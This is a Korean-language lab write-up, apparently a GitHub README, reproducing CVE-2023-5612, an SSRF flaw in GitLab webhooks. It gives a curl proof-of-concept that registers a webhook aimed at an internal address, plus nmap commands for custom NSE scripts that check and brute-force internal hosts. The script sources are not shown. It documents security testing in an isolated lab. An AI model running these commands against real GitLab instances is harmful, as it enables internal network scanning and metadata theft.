
스크립트를 통한 분석 CVE-2023-5612
GitLab CE/EE의 SSRF 취약점을 통해 유효한 프로젝트 유지 관리자(Project Maintainer) 권한을 가진 공격자가 악의적인 웹훅 URL을 사용하여 임의의 내부 서비스에 조작된 요청을 보낼 수 있습니다. 이를 악용하면 내부 네트워크 스캔, 메타데이터 유출 또는 추가 피벗 공격이 가능해집니다.
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- 테스트용으로 특별히 배포된 가상 머신 내의 Kali Linux
- Docker를 통해 취약한 GitLab CE 인스턴스 실행 (포트 8080)
- GitLab 내부:
- 테스트 프로젝트 생성
- Maintainer 권한이 있는 Personal Access Token (glpat-...) 생성
- 내부 SSRF 대상으로 127.0.0.1:8888에 최소 HTTP 서비스 실행
- curl을 통한 수동 취약점 확인 (PoC 참조)
- 맞춤형 NSE 스크립트 작성:
gitlab-ssrf.nse: SSRF 점검
gitlab-ssrf-brute.nse: 내부 주소 자동 브루트포스
- nmap -d 및 --script-trace를 사용한 API 동작 분석 및 결과 기록
- 내부 서비스로부터 401 Unauthorized 응답 수신, 이는 성공적인 SSRF를 의미
- 성공적인 요청은 `201 Created` 또는 `401 Unauthorized` 오류를 반환하며, 이는 SSRF 접근을 나타냅니다.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
취약점 **CVE-2023-5612**에 대한 작업을 통해 GitLab CE API를 통해 내부 주소에 접근하는 성공적인 SSRF 공격 시나리오가 재현되었습니다. 이는 웹훅 기능을 제한하고 서버 측에서 URL 유효성 검사를 도입하는 것이 얼마나 중요한지 보여줍니다.
.
├── gitlab-ssrf.nse # 수동 SSRF 확인용 NSE 스크립트
├── gitlab-ssrf-brute.nse # 내부 호스트/포트 스캔용 NSE 브루트포스 스크립트
├── screenshots/ # PoC 실행 및 취약점 확인 스크린샷
└── README.md # 이 파일
Pavel Topskiy
GitHub • 보안 분석가, 레드팀 분석가
모든 테스트는 의도적으로 취약한 버전을 대상으로 격리된 실험실 환경에서 수행되었습니다. 허가되지 않은 시스템에 대해 이 내용을 사용하지 마십시오. 윤리적 해킹 원칙을 존중하십시오.